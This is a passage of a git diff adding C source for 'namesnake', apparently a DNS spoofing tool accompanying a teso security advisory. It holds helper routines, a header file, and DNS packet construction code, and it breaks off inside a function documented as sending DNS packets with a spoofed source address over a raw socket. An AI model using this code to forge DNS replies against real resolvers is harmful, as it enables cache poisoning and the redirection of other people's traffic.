| 103 | while (fgets (buf, sizeof (buf) - 1, fp) != NULL) { | ||
| 104 | line_array = xrealloc (line_array, (++ac + 1) * (sizeof (char *))); | ||
| 105 | line_array[ac] = NULL; /* eoa ptr ss! */ | ||
| 106 | for (c_p = (buf + sizeof (buf) - 1) ; c_p != buf ; c_p--) { | ||
| 107 | if (*c_p == '\n') | ||
| 108 | *c_p = '\0'; | ||
| 109 | } | ||
| 110 | line_array[ac - 1] = xstrdup (buf); /* hook em up */ | ||
| 111 | memset (buf, '\0', sizeof (buf)); | ||
| 112 | } | ||
| 113 | fclose (fp); | ||
| 114 | |||
| 115 | return (line_array); | ||
| 116 | } | ||
| 117 | |||
| 118 | |||
| 119 | /* z_fork | ||
| 120 | * | ||
| 121 | * fork and detach forked client completely to avoid zombies. | ||
| 122 | * taken from richard stevens excellent system programming book :) thanks, | ||
| 123 | * whereever you are now. | ||
| 124 | * | ||
| 125 | * caveat: the pid of the child has already died, it can just be used to | ||
| 126 | * differentiate between parent and not parent, the pid of the | ||
| 127 | * child is inaccessibly. | ||
| 128 | * | ||
| 129 | * return pid of child for old process | ||
| 130 | * return 0 for child | ||
| 131 | */ | ||
| 132 | |||
| 133 | pid_t | ||
| 134 | z_fork (void) | ||
| 135 | { | ||
| 136 | pid_t pid; | ||
| 137 | |||
| 138 | pid = fork (); | ||
| 139 | if (pid < 0) { | ||
| 140 | return (pid); | ||
| 141 | } else if (pid == 0) { | ||
| 142 | /* let the child fork again | ||
| 143 | */ | ||
| 144 | |||
| 145 | pid = fork (); | ||
| 146 | if (pid < 0) { | ||
| 147 | return (pid); | ||
| 148 | } else if (pid > 0) { | ||
| 149 | /* let the child and parent of the second child | ||
| 150 | * exit | ||
| 151 | */ | ||
| 152 | exit (EXIT_SUCCESS); | ||
| 153 | } | ||
| 154 | |||
| 155 | return (0); | ||
| 156 | } | ||
| 157 | |||
| 158 | waitpid (pid, NULL, 0); | ||
| 159 | |||
| 160 | return (pid); | ||
| 161 | } | ||
| 162 | |||
| 163 | |||
| 164 | /* m_random | ||
| 165 | * | ||
| 166 | * return a random number between `lowmark' and `highmark' | ||
| 167 | */ | ||
| 168 | |||
| 169 | int | ||
| 170 | m_random (int lowmark, int highmark) | ||
| 171 | { | ||
| 172 | long int rnd; | ||
| 173 | |||
| 174 | /* flip/swap them in case user messed up | ||
| 175 | */ | ||
| 176 | if (lowmark > highmark) { | ||
| 177 | lowmark ^= highmark; | ||
| 178 | highmark ^= lowmark; | ||
| 179 | lowmark ^= highmark; | ||
| 180 | } | ||
| 181 | rnd = lowmark; | ||
| 182 | |||
| 183 | rnd += (random () % (highmark - lowmark)); | ||
| 184 | |||
| 185 | /* this is lame, i know :) | ||
| 186 | */ | ||
| 187 | return (rnd); | ||
| 188 | } | ||
| 189 | |||
| 190 | |||
| 191 | /* set_tv | ||
| 192 | * | ||
| 193 | * initializes a struct timeval pointed to by `tv' to a second value of | ||
| 194 | * `seconds' | ||
| 195 | * | ||
| 196 | * return in any case | ||
| 197 | */ | ||
| 198 | |||
| 199 | void | ||
| 200 | set_tv (struct timeval *tv, int seconds) | ||
| 201 | { | ||
| 202 | tv->tv_sec = seconds; | ||
| 203 | tv->tv_usec = 0; | ||
| 204 | |||
| 205 | return; | ||
| 206 | } | ||
| 207 | |||
| 208 | |||
| 209 | /* xstrupper | ||
| 210 | * | ||
| 211 | * uppercase a string `str' | ||
| 212 | * | ||
| 213 | * return in any case | ||
| 214 | */ | ||
| 215 | |||
| 216 | void | ||
| 217 | xstrupper (char *str) | ||
| 218 | { | ||
| 219 | for (; *str != '\0'; ++str) { | ||
| 220 | if (*str >= 'a' && *str <= 'z') { | ||
| 221 | *str -= ('a' - 'A'); | ||
| 222 | } | ||
| 223 | } | ||
| 224 | |||
| 225 | return; | ||
| 226 | } | ||
| 227 | |||
| 228 | |||
| 229 | /* concating snprintf | ||
| 230 | * | ||
| 231 | * determines the length of the string pointed to by `os', appending formatted | ||
| 232 | * string to a maximium length of `len'. | ||
| 233 | * | ||
| 234 | */ | ||
| 235 | |||
| 236 | void | ||
| 237 | scnprintf (char *os, size_t len, const char *str, ...) | ||
| 238 | { | ||
| 239 | va_list vl; | ||
| 240 | char *ostmp = os + strlen (os); | ||
| 241 | |||
| 242 | va_start (vl, str); | ||
| 243 | vsnprintf (ostmp, len - strlen (os) - 1, str, vl); | ||
| 244 | va_end (vl); | ||
| 245 | |||
| 246 | return; | ||
| 247 | } | ||
| 248 | |||
| 249 | unsigned long int | ||
| 250 | tdiff (struct timeval *old, struct timeval *new) | ||
| 251 | { | ||
| 252 | unsigned long int time1; | ||
| 253 | |||
| 254 | if (new->tv_sec >= old->tv_sec) { | ||
| 255 | time1 = new->tv_sec - old->tv_sec; | ||
| 256 | if ((new->tv_usec - 500000) >= old->tv_usec) | ||
| 257 | time1++; | ||
| 258 | } else { | ||
| 259 | time1 = old->tv_sec - new->tv_sec; | ||
| 260 | if ((old->tv_usec - 500000) >= new->tv_usec) | ||
| 261 | time1++; | ||
| 262 | } | ||
| 263 | |||
| 264 | return (time1); | ||
| 265 | } | ||
| 266 | |||
| 267 | |||
| 268 | /* ipv4_print | ||
| 269 | * | ||
| 270 | * padding = 0 -> don't padd | ||
| 271 | * padding = 1 -> padd with zeros | ||
| 272 | * padding = 2 -> padd with spaces | ||
| 273 | */ | ||
| 274 | |||
| 275 | char * | ||
| 276 | ipv4_print (char *dest, struct in_addr in, int padding) | ||
| 277 | { | ||
| 278 | unsigned char *ipp; | ||
| 279 | |||
| 280 | ipp = (unsigned char *) &in.s_addr; | ||
| 281 | |||
| 282 | strcpy (dest, ""); | ||
| 283 | |||
| 284 | switch (padding) { | ||
| 285 | case (0): | ||
| 286 | sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 287 | break; | ||
| 288 | case (1): | ||
| 289 | sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 290 | break; | ||
| 291 | case (2): | ||
| 292 | sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 293 | break; | ||
| 294 | default: | ||
| 295 | break; | ||
| 296 | } | ||
| 297 | |||
| 298 | return (dest); | ||
| 299 | } | ||
| 300 | |||
| 301 | |||
| 302 | void * | ||
| 303 | xrealloc (void *m_ptr, size_t newsize) | ||
| 304 | { | ||
| 305 | void *n_ptr; | ||
| 306 | |||
| 307 | n_ptr = realloc (m_ptr, newsize); | ||
| 308 | if (n_ptr == NULL) { | ||
| 309 | fprintf (stderr, "realloc failed\n"); | ||
| 310 | exit (EXIT_FAILURE); | ||
| 311 | } | ||
| 312 | |||
| 313 | return (n_ptr); | ||
| 314 | } | ||
| 315 | |||
| 316 | |||
| 317 | char * | ||
| 318 | xstrdup (char *str) | ||
| 319 | { | ||
| 320 | char *b; | ||
| 321 | |||
| 322 | b = strdup (str); | ||
| 323 | if (b == NULL) { | ||
| 324 | fprintf (stderr, "strdup failed\n"); | ||
| 325 | exit (EXIT_FAILURE); | ||
| 326 | } | ||
| 327 | |||
| 328 | return (b); | ||
| 329 | } | ||
| 330 | |||
| 331 | |||
| 332 | void * | ||
| 333 | xcalloc (int factor, size_t size) | ||
| 334 | { | ||
| 335 | void *bla; | ||
| 336 | |||
| 337 | bla = calloc (factor, size); | ||
| 338 | |||
| 339 | if (bla == NULL) { | ||
| 340 | fprintf (stderr, "no memory left\n"); | ||
| 341 | exit (EXIT_FAILURE); | ||
| 342 | } | ||
| 343 | |||
| 344 | return (bla); | ||
| 345 | } | ||
| 346 | |||
| 347 | /* source by dk | ||
| 348 | */ | ||
| 349 | |||
| 350 | char * | ||
| 351 | allocncat (char **to, char *from, size_t len) | ||
| 352 | { | ||
| 353 | int rlen = strlen (from); | ||
| 354 | int null = *to == NULL; | ||
| 355 | |||
| 356 | len = rlen < len ? rlen : len; | ||
| 357 | *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1); | ||
| 358 | if (null) | ||
| 359 | **to = '\0'; | ||
| 360 | |||
| 361 | if (*to == NULL) | ||
| 362 | perror ("no memory: "); | ||
| 363 | |||
| 364 | return (strncat (*to, from, len)); | ||
| 365 | } | ||
| 366 | |||
| 367 | char * | ||
| 368 | alloccat (char **to, char *from) | ||
| 369 | { | ||
| 370 | return (allocncat (to, from, strlen (from))); | ||
| 371 | } | ||
| 372 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/common.h b/advisories/teso-advisory-003/namesnake/src/common.h new file mode 100644 index 0000000..0f41ca4 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/common.h | |||
| @@ -0,0 +1,31 @@ | |||
| 1 | |||
| 2 | #ifndef Z_COMMON_H | ||
| 3 | #define Z_COMMON_H | ||
| 4 | |||
| 5 | |||
| 6 | #include <sys/types.h> | ||
| 7 | #include <sys/time.h> | ||
| 8 | #include <netinet/in.h> | ||
| 9 | #include <unistd.h> | ||
| 10 | |||
| 11 | |||
| 12 | #ifdef DEBUG | ||
| 13 | void debugp (char *filename, const char *str, ...); | ||
| 14 | void hexdump (char *filename, unsigned char *data, unsigned int amount); | ||
| 15 | #endif | ||
| 16 | char ** file_read (char *filename); | ||
| 17 | pid_t z_fork (void); | ||
| 18 | int m_random (int lowmark, int highmark); | ||
| 19 | void set_tv (struct timeval *tv, int seconds); | ||
| 20 | void xstrupper (char *str); | ||
| 21 | void scnprintf (char *os, size_t len, const char *str, ...); | ||
| 22 | unsigned long int tdiff (struct timeval *old, struct timeval *new); | ||
| 23 | char *ipv4_print (char *dest, struct in_addr in, int padding); | ||
| 24 | void *xrealloc (void *m_ptr, size_t newsize); | ||
| 25 | char *xstrdup (char *str); | ||
| 26 | void *xcalloc (int factor, size_t size); | ||
| 27 | char *allocncat (char **to, char *from, size_t len); | ||
| 28 | char *alloccat (char **to, char *from); | ||
| 29 | |||
| 30 | #endif | ||
| 31 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/dns-build.c b/advisories/teso-advisory-003/namesnake/src/dns-build.c new file mode 100644 index 0000000..933db43 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/dns-build.c | |||
| @@ -0,0 +1,608 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * dns packet construction routines | ||
| 4 | * if you need some, just borrow here and drop me a line of credit :) | ||
| 5 | * | ||
| 6 | * by scut / teso | ||
| 7 | */ | ||
| 8 | |||
| 9 | #include <libnet.h> /* route's owning library =) */ | ||
| 10 | #include <arpa/nameser.h> | ||
| 11 | #include <netinet/in.h> | ||
| 12 | #include <stdlib.h> | ||
| 13 | #include <string.h> | ||
| 14 | #include "common.h" | ||
| 15 | #include "dns.h" | ||
| 16 | #include "dns-build.h" | ||
| 17 | #include "io-udp.h" | ||
| 18 | #include "network.h" | ||
| 19 | |||
| 20 | |||
| 21 | /* dns_build_random | ||
| 22 | * | ||
| 23 | * prequel the domain name `domain' with a random sequence of characters | ||
| 24 | * with a random length if len is zero, or a fixed length if len is != 0 | ||
| 25 | * | ||
| 26 | * return the allocated new string | ||
| 27 | */ | ||
| 28 | |||
| 29 | char * | ||
| 30 | dns_build_random (char *domain, size_t len) | ||
| 31 | { | ||
| 32 | int dlen, cc; | ||
| 33 | char *pr; | ||
| 34 | |||
| 35 | cc = dlen = (len == 0) ? m_random (3, 16) : len; | ||
| 36 | pr = xcalloc (1, strlen (domain) + dlen + 2); | ||
| 37 | for (; dlen > 0; --dlen) { | ||
| 38 | char p; | ||
| 39 | |||
| 40 | (int) p = m_random ((int) 'a', (int) 'z'); | ||
| 41 | pr[dlen - 1] = p; | ||
| 42 | } | ||
| 43 | pr[cc] = '.'; | ||
| 44 | memcpy (pr + cc + 1, domain, strlen (domain)); | ||
| 45 | |||
| 46 | return (pr); | ||
| 47 | } | ||
| 48 | |||
| 49 | |||
| 50 | /* dns_domain | ||
| 51 | * | ||
| 52 | * return a pointer to the beginning of the SLD within a full qualified | ||
| 53 | * domain name `domainname'. | ||
| 54 | * | ||
| 55 | * return NULL on failure | ||
| 56 | * return a pointer to the beginning of the SLD on success | ||
| 57 | */ | ||
| 58 | |||
| 59 | char * | ||
| 60 | dns_domain (char *domainname) | ||
| 61 | { | ||
| 62 | char *last_label = NULL, | ||
| 63 | *hold_label = NULL; | ||
| 64 | |||
| 65 | if (domainname == NULL) | ||
| 66 | return (NULL); | ||
| 67 | |||
| 68 | /* find last SLD | ||
| 69 | */ | ||
| 70 | for (; *domainname != '\x00'; ++domainname) { | ||
| 71 | if (*domainname == '.') { | ||
| 72 | last_label = hold_label; | ||
| 73 | hold_label = domainname + 1; | ||
| 74 | } | ||
| 75 | } | ||
| 76 | |||
| 77 | return (last_label); | ||
| 78 | } | ||
| 79 | |||
| 80 | |||
| 81 | /* | ||
| 82 | * gets the domain of an in-addr.arpa string. | ||
| 83 | * 123.123.123.123.in-addr.arpa ==> 123.123.123.in-addr.arpa | ||
| 84 | * return a pointer inside arpaname on success | ||
| 85 | * return NULL on failure | ||
| 86 | */ | ||
| 87 | |||
| 88 | char * | ||
| 89 | dns_ptr_domain (char *arpaname) | ||
| 90 | { | ||
| 91 | char *dot; | ||
| 92 | |||
| 93 | if (strstr (arpaname, "in-addr.arpa") == NULL) | ||
| 94 | return (NULL); | ||
| 95 | |||
| 96 | if (atoi (arpaname) == 0) | ||
| 97 | return (NULL); | ||
| 98 | |||
| 99 | dot = strchr (arpaname, '.'); | ||
| 100 | |||
| 101 | return ((dot == NULL) ? NULL : (dot + 1)); | ||
| 102 | } | ||
| 103 | |||
| 104 | |||
| 105 | /* dns_build_new | ||
| 106 | * | ||
| 107 | * constructor. create new packet data body | ||
| 108 | * | ||
| 109 | * return packet data structure pointer (initialized) | ||
| 110 | */ | ||
| 111 | |||
| 112 | dns_pdata * | ||
| 113 | dns_build_new (void) | ||
| 114 | { | ||
| 115 | dns_pdata *new; | ||
| 116 | |||
| 117 | new = xcalloc (1, sizeof (dns_pdata)); | ||
| 118 | new->p_offset = NULL; | ||
| 119 | new->p_data = NULL; | ||
| 120 | |||
| 121 | return (new); | ||
| 122 | } | ||
| 123 | |||
| 124 | |||
| 125 | /* dns_build_destroy | ||
| 126 | * | ||
| 127 | * destructor. destroy a dns_pdata structure pointed to by `pd' | ||
| 128 | * | ||
| 129 | * return in any case | ||
| 130 | */ | ||
| 131 | |||
| 132 | void | ||
| 133 | dns_build_destroy (dns_pdata *pd) | ||
| 134 | { | ||
| 135 | if (pd == NULL) | ||
| 136 | return; | ||
| 137 | |||
| 138 | if (pd->p_data != NULL) | ||
| 139 | free (pd->p_data); | ||
| 140 | free (pd); | ||
| 141 | |||
| 142 | return; | ||
| 143 | } | ||
| 144 | |||
| 145 | |||
| 146 | /* dns_build_plen | ||
| 147 | * | ||
| 148 | * calculate the length of the current packet data body pointed to by `pd'. | ||
| 149 | * | ||
| 150 | * return the packet length | ||
| 151 | */ | ||
| 152 | |||
| 153 | u_short | ||
| 154 | dns_build_plen (dns_pdata *pd) | ||
| 155 | { | ||
| 156 | if (pd == NULL) | ||
| 157 | return (0); | ||
| 158 | |||
| 159 | if (pd->p_data == NULL || pd->p_offset == NULL) | ||
| 160 | return (0); | ||
| 161 | |||
| 162 | return ((u_short) (pd->p_offset - pd->p_data)); | ||
| 163 | } | ||
| 164 | |||
| 165 | |||
| 166 | /* dns_build_extend | ||
| 167 | * | ||
| 168 | * extend a dns_pdata structure data part for `amount' bytes. | ||
| 169 | * | ||
| 170 | * return a pointer to the beginning of the extension | ||
| 171 | */ | ||
| 172 | |||
| 173 | unsigned char * | ||
| 174 | dns_build_extend (dns_pdata *pd, size_t amount) | ||
| 175 | { | ||
| 176 | unsigned int u_ptr = dns_build_plen (pd); | ||
| 177 | |||
| 178 | /* realloc is your friend =) | ||
| 179 | */ | ||
| 180 | pd->p_data = realloc (pd->p_data, u_ptr + amount); | ||
| 181 | if (pd->p_data == NULL) { | ||
| 182 | exit (EXIT_FAILURE); | ||
| 183 | } | ||
| 184 | |||
| 185 | /* since realloc can move the memory we have to calculate | ||
| 186 | * p_offset completely from scratch | ||
| 187 | */ | ||
| 188 | pd->p_offset = pd->p_data + u_ptr + amount; | ||
| 189 | |||
| 190 | return (pd->p_data + u_ptr); | ||
| 191 | } | ||
| 192 | |||
| 193 | |||
| 194 | /* dns_build_ptr | ||
| 195 | * | ||
| 196 | * take a numeric quad dot notated ip address `ip_str' and build a char | ||
| 197 | * domain out of it within the IN-ADDR.ARPA domain. | ||
| 198 | * | ||
| 199 | * return NULL on failure | ||
| 200 | * return a char pointer to the converted domain name | ||
| 201 | */ | ||
| 202 | |||
| 203 | char * | ||
| 204 | dns_build_ptr (char *ip_str) | ||
| 205 | { | ||
| 206 | char *ip_ptr; | ||
| 207 | int dec[4]; | ||
| 208 | int n; | ||
| 209 | |||
| 210 | if (ip_str == NULL) | ||
| 211 | return (NULL); | ||
| 212 | |||
| 213 | /* kludge for functions that already pass a reversed string | ||
| 214 | */ | ||
| 215 | if (strstr (ip_str, "in-addr.arpa")) | ||
| 216 | return (xstrdup (ip_str)); | ||
| 217 | |||
| 218 | /* parse ip string, on failure drop conversion | ||
| 219 | */ | ||
| 220 | n = sscanf (ip_str, "%d.%d.%d.%d", &dec[0], &dec[1], &dec[2], &dec[3]); | ||
| 221 | if (n != 4) | ||
| 222 | return (NULL); | ||
| 223 | |||
| 224 | /* allocate a new string of the required length | ||
| 225 | */ | ||
| 226 | ip_ptr = xcalloc (1, strlen (ip_str) + strlen (".in-addr.arpa") + 1); | ||
| 227 | sprintf (ip_ptr, "%d.%d.%d.%d.in-addr.arpa", dec[3], dec[2], dec[1], dec[0]); | ||
| 228 | |||
| 229 | return (ip_ptr); | ||
| 230 | } | ||
| 231 | |||
| 232 | |||
| 233 | /* dns_build_q | ||
| 234 | * | ||
| 235 | * append a query record into a dns_pdata structure, where `dname' is the | ||
| 236 | * domain name that should be queried, using `qtype' and `qclass' as types. | ||
| 237 | * | ||
| 238 | * conversion of the `dname' takes place according to the value of `qtype': | ||
| 239 | * | ||
| 240 | * qtype | expected dname format | converted to | ||
| 241 | * ---------+-----------------------+----------------------------------------- | ||
| 242 | * T_PTR | char *, ip address | IN-ADDR.ARPA dns domain name | ||
| 243 | * T_A | char *, full hostname | dns domain name | ||
| 244 | * T_NS | " | " | ||
| 245 | * T_CNAME | " | " | ||
| 246 | * T_SOA | " | " | ||
| 247 | * T_WKS | " | " | ||
| 248 | * T_HINFO | " | " | ||
| 249 | * T_MINFO | " | " | ||
| 250 | * T_MX | " | " | ||
| 251 | * T_ANY | " | " | ||
| 252 | * | ||
| 253 | * return (beside adding the record) the pointer to the record within the data | ||
| 254 | */ | ||
| 255 | |||
| 256 | unsigned char * | ||
| 257 | dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass) | ||
| 258 | { | ||
| 259 | unsigned char *qdomain = NULL; | ||
| 260 | unsigned char *tgt, *rp; | ||
| 261 | int dlen; | ||
| 262 | |||
| 263 | switch (qtype) { | ||
| 264 | case (T_PTR): | ||
| 265 | /* convert in itself, then convert to a dns domain | ||
| 266 | */ | ||
| 267 | dname = dns_build_ptr (dname); | ||
| 268 | if (dname == NULL) | ||
| 269 | return (NULL); | ||
| 270 | |||
| 271 | case (T_A): | ||
| 272 | case (T_NS): | ||
| 273 | case (T_CNAME): | ||
| 274 | case (T_SOA): | ||
| 275 | case (T_WKS): | ||
| 276 | case (T_HINFO): | ||
| 277 | case (T_MINFO): | ||
| 278 | case (T_MX): | ||
| 279 | case (T_TXT): | ||
| 280 | case (T_ANY): | ||
| 281 | /* convert to a dns domain | ||
| 282 | */ | ||
| 283 | dlen = dns_build_domain (&qdomain, dname); | ||
| 284 | if (dlen == 0) | ||
| 285 | return (NULL); | ||
| 286 | break; | ||
| 287 | default: | ||
| 288 | return (NULL); | ||
| 289 | } | ||
| 290 | |||
| 291 | tgt = rp = dns_build_extend (pd, dlen + sizeof (qtype) + sizeof (qclass)); | ||
| 292 | |||
| 293 | memcpy (tgt, qdomain, dlen); | ||
| 294 | tgt += dlen; | ||
| 295 | free (qdomain); | ||
| 296 | |||
| 297 | PUTSHORT (qtype, tgt); | ||
| 298 | PUTSHORT (qclass, tgt); | ||
| 299 | |||
| 300 | return (rp); | ||
| 301 | } | ||
| 302 | |||
| 303 | |||
| 304 | /* dns_build_rr | ||
| 305 | * | ||
| 306 | * append a resource record into a dns_pdata structure, pointed ty by `pd', | ||
| 307 | * where `dname' is the domain name the record belongs to, `type' and `class' | ||
| 308 | * are the type and class of the dns data part, `ttl' is the time to live, | ||
| 309 | * the time in seconds how long to cache the record. `rdlength' is the length | ||
| 310 | * of the resource data pointed to by `rdata'. | ||
| 311 | * depending on `type' the data at `rdata' will be converted to the appropiate | ||
| 312 | * type: | ||
| 313 | * | ||
| 314 | * type | rdata points to | will be | ||
| 315 | * -------+---------------------+--------------------------------------------- | ||
| 316 | * T_A | char IP address | 4 byte network byte ordered IP address | ||
| 317 | * T_PTR | char domain name | encoded dns domain name | ||
| 318 | * T_NS | char domain name | encoded dns domain name | ||
| 319 | * | ||
| 320 | * return (beside adding the record) the pointer to the record within the data | ||
| 321 | */ | ||
| 322 | |||
| 323 | unsigned char * | ||
| 324 | dns_build_rr (dns_pdata *pd, unsigned char *dname, u_short type, u_short class, | ||
| 325 | u_long ttl, void *rdata) | ||
| 326 | { | ||
| 327 | char *ptr_ptr = NULL; | ||
| 328 | struct in_addr ip_addr; /* temporary, to convert */ | ||
| 329 | unsigned char *qdomain = NULL; | ||
| 330 | unsigned char *tgt, *rp = NULL; | ||
| 331 | u_short rdlength = 0; | ||
| 332 | unsigned char *rdata_converted; /* converted rdata */ | ||
| 333 | int n; | ||
| 334 | |||
| 335 | switch (type) { | ||
| 336 | case (T_A): | ||
| 337 | |||
| 338 | /* resolve the quad dotted IP address, then copy it into the | ||
| 339 | * rdata array | ||
| 340 | */ | ||
| 341 | |||
| 342 | ip_addr.s_addr = net_resolve ((char *) rdata); | ||
| 343 | rdata_converted = xcalloc (1, sizeof (struct in_addr)); | ||
| 344 | memcpy (rdata_converted, &ip_addr.s_addr, sizeof (struct in_addr)); | ||
| 345 | rdlength = 4; | ||
| 346 | |||
| 347 | break; | ||
| 348 | |||
| 349 | case (T_NS): | ||
| 350 | case (T_CNAME): | ||
| 351 | case (T_PTR): | ||
| 352 | |||
| 353 | /* build a dns domain from the plaintext domain name | ||
| 354 | */ | ||
| 355 | n = dns_build_domain ((unsigned char **) &rdata_converted, (char *) rdata); | ||
| 356 | if (n == 0) | ||
| 357 | return (NULL); | ||
| 358 | rdlength = n; | ||
| 359 | |||
| 360 | break; | ||
| 361 | |||
| 362 | case (T_TXT): | ||
| 363 | |||
| 364 | rdata_converted = xstrdup (rdata); | ||
| 365 | rdlength = strlen (rdata_converted); | ||
| 366 | |||
| 367 | break; | ||
| 368 | |||
| 369 | default: | ||
| 370 | return (NULL); | ||
| 371 | } | ||
| 372 | |||
| 373 | /* create a real dns domain from the plaintext query domain | ||
| 374 | */ | ||
| 375 | switch (type) { | ||
| 376 | case (T_PTR): | ||
| 377 | ptr_ptr = dns_build_ptr (dname); | ||
| 378 | dname = ptr_ptr; | ||
| 379 | default: | ||
| 380 | n = dns_build_domain (&qdomain, dname); | ||
| 381 | if (n == 0) | ||
| 382 | goto rr_fail; | ||
| 383 | break; | ||
| 384 | } | ||
| 385 | if (ptr_ptr != NULL) | ||
| 386 | free (ptr_ptr); | ||
| 387 | |||
| 388 | /* extend the existing dns packet to hold our extra rr record | ||
| 389 | */ | ||
| 390 | tgt = rp = dns_build_extend (pd, dns_labellen (qdomain) + sizeof (type) + | ||
| 391 | sizeof (class) + sizeof (ttl) + sizeof (rdlength) + rdlength); | ||
| 392 | |||
| 393 | memcpy (tgt, qdomain, dns_labellen (qdomain)); | ||
| 394 | tgt += dns_labellen (qdomain); | ||
| 395 | free (qdomain); | ||
| 396 | |||
| 397 | PUTSHORT (type, tgt); | ||
| 398 | PUTSHORT (class, tgt); | ||
| 399 | PUTLONG (ttl, tgt); | ||
| 400 | PUTSHORT (rdlength, tgt); | ||
| 401 | |||
| 402 | memcpy (tgt, rdata_converted, rdlength); | ||
| 403 | tgt += rdlength; | ||
| 404 | |||
| 405 | rr_fail: | ||
| 406 | free (rdata_converted); | ||
| 407 | |||
| 408 | return (rp); | ||
| 409 | } | ||
| 410 | |||
| 411 | |||
| 412 | /* dns_build_query_label | ||
| 413 | * | ||
| 414 | * build a query label given from the data `query' that should be enclosed | ||
| 415 | * and the query type `qtype' and query class `qclass'. | ||
| 416 | * the label is passed back in printable form, not in label-length form. | ||
| 417 | * | ||
| 418 | * qtype qclass query | ||
| 419 | * -----------+---------------+----------------------------------------------- | ||
| 420 | * A IN pointer to a host- or domainname | ||
| 421 | * PTR IN pointer to a struct in_addr | ||
| 422 | * | ||
| 423 | * ... (to be extended) ... | ||
| 424 | * | ||
| 425 | * return 0 on success | ||
| 426 | * return 1 on failure | ||
| 427 | */ | ||
| 428 | |||
| 429 | int | ||
| 430 | dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query) | ||
| 431 | { | ||
| 432 | char label[256]; | ||
| 433 | struct in_addr *ip; | ||
| 434 | |||
| 435 | /* we do only internet queries (qclass is just for completeness) | ||
| 436 | * also drop empty queries | ||
| 437 | */ | ||
| 438 | if (qclass != C_IN || query == NULL) | ||
| 439 | return (1); | ||
| 440 | |||
| 441 | switch (qtype) { | ||
| 442 | case (T_A): *query_dst = xstrdup (query); | ||
| 443 | break; | ||
| 444 | |||
| 445 | case (T_PTR): memset (label, '\0', sizeof (label)); | ||
| 446 | ip = (struct in_addr *) query; | ||
| 447 | net_printipr (ip, label, sizeof (label) - 1); | ||
| 448 | scnprintf (label, sizeof (label), ".in-addr.arpa"); | ||
| 449 | *query_dst = xstrdup (label); | ||
| 450 | break; | ||
| 451 | default: return (1); | ||
| 452 | break; | ||
| 453 | } | ||
| 454 | |||
| 455 | return (0); | ||
| 456 | } | ||
| 457 | |||
| 458 | |||
| 459 | /* dns_build_domain | ||
| 460 | * | ||
| 461 | * build a dns domain label sequence out of a printable domain name | ||
| 462 | * store the resulting domain in `denc', get the printable domain | ||
| 463 | * from `domain'. | ||
| 464 | * | ||
| 465 | * return 0 on failure | ||
| 466 | * return length of the created domain (include suffixing '\x00') | ||
| 467 | */ | ||
| 468 | |||
| 469 | int | ||
| 470 | dns_build_domain (unsigned char **denc, char *domain) | ||
| 471 | { | ||
| 472 | char *start = domain, | ||
| 473 | *out, | ||
| 474 | c = '\0'; | ||
| 475 | int n = strlen (domain); | ||
| 476 | |||
| 477 | if (n > MAXDNAME) | ||
| 478 | return (0); | ||
| 479 | |||
| 480 | out = *denc = xcalloc (1, n + 2); | ||
| 481 | |||
| 482 | domain += n - 1; | ||
| 483 | out += n + 1; | ||
| 484 | *out-- = 0; | ||
| 485 | |||
| 486 | n = 0; | ||
| 487 | |||
| 488 | while (domain >= start) { | ||
| 489 | c = *domain--; | ||
| 490 | if (c == '.') { | ||
| 491 | *out-- = n; | ||
| 492 | n = 0; | ||
| 493 | } else { | ||
| 494 | *out-- = c; | ||
| 495 | n++; | ||
| 496 | } | ||
| 497 | } | ||
| 498 | |||
| 499 | if (n != '\0') | ||
| 500 | *out-- = n; | ||
| 501 | |||
| 502 | return (strlen (out + 1) + 1); | ||
| 503 | } | ||
| 504 | |||
| 505 | |||
| 506 | /* dns_build_domain_dotlen | ||
| 507 | * | ||
| 508 | * helper routine, determine the length of the next label in a human | ||
| 509 | * printed domain name | ||
| 510 | * | ||
| 511 | * return the number of characters until an occurance of \x00 or '.' | ||
| 512 | */ | ||
| 513 | |||
| 514 | int | ||
| 515 | dns_build_domain_dotlen (char *label) | ||
| 516 | { | ||
| 517 | int n; | ||
| 518 | |||
| 519 | /* determine length | ||
| 520 | */ | ||
| 521 | for (n = 0; *label != '.' && *label != '\x00'; n++, ++label) | ||
| 522 | ; | ||
| 523 | |||
| 524 | return (n); | ||
| 525 | } | ||
| 526 | |||
| 527 | |||
| 528 | /* dns_packet_send | ||
| 529 | * | ||
| 530 | * send a prepared dns packet spoofing from `ip_src' to `ip_dst', using | ||
| 531 | * source port `prt_src' and destination port `prt_dst'. the dns header | ||
| 532 | * data is filled with `dns_id', the dns identification number of the | ||
| 533 | * packet, `flags', which are the 16bit flags in the dns header, then | ||
| 534 | * four count variables, each for a dns segment: `count_q' is the number | ||
| 535 | * of queries, `count_a' the number of answers, `count_ns' the number of | ||
| 536 | * nameserver entries and `count_ad' the number of additional entries. | ||
| 537 | * the real dns data is aquired from `dbuf', `dbuf_s' bytes in length. | ||
| 538 | * the dns data should be constructed using the dns_build_* functions. | ||
| 539 | * if the packet should be compressed before sending it, `compress' | ||
| 540 | * should be set to 1. | ||
| 541 | * | ||
| 542 | * return 0 on success | ||
| 543 | * return 1 on failure | ||
| 544 | */ | ||
| 545 | |||
| 546 | int | ||
| 547 | dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst, | ||
| 548 | u_short dns_id, u_short flags, u_short count_q, u_short count_a, | ||
| 549 | u_short count_ns, u_short count_ad, dns_pdata *pd) | ||
| 550 | { | ||
| 551 | int sock; /* raw socket, yeah :) */ | ||
| 552 | int n; /* temporary return value */ | ||
| 553 | unsigned char buf[4096]; /* final packet buffer */ | ||
| 554 | unsigned char *dbuf = pd->p_data; | ||
| 555 | size_t dbuf_s = dns_build_plen (pd); | ||
| 556 | struct in_addr s_addr, | ||
| 557 | d_addr; | ||
| 558 | |||
| 559 | |||
| 560 | s_addr.s_addr = net_resolve (ip_src); | ||
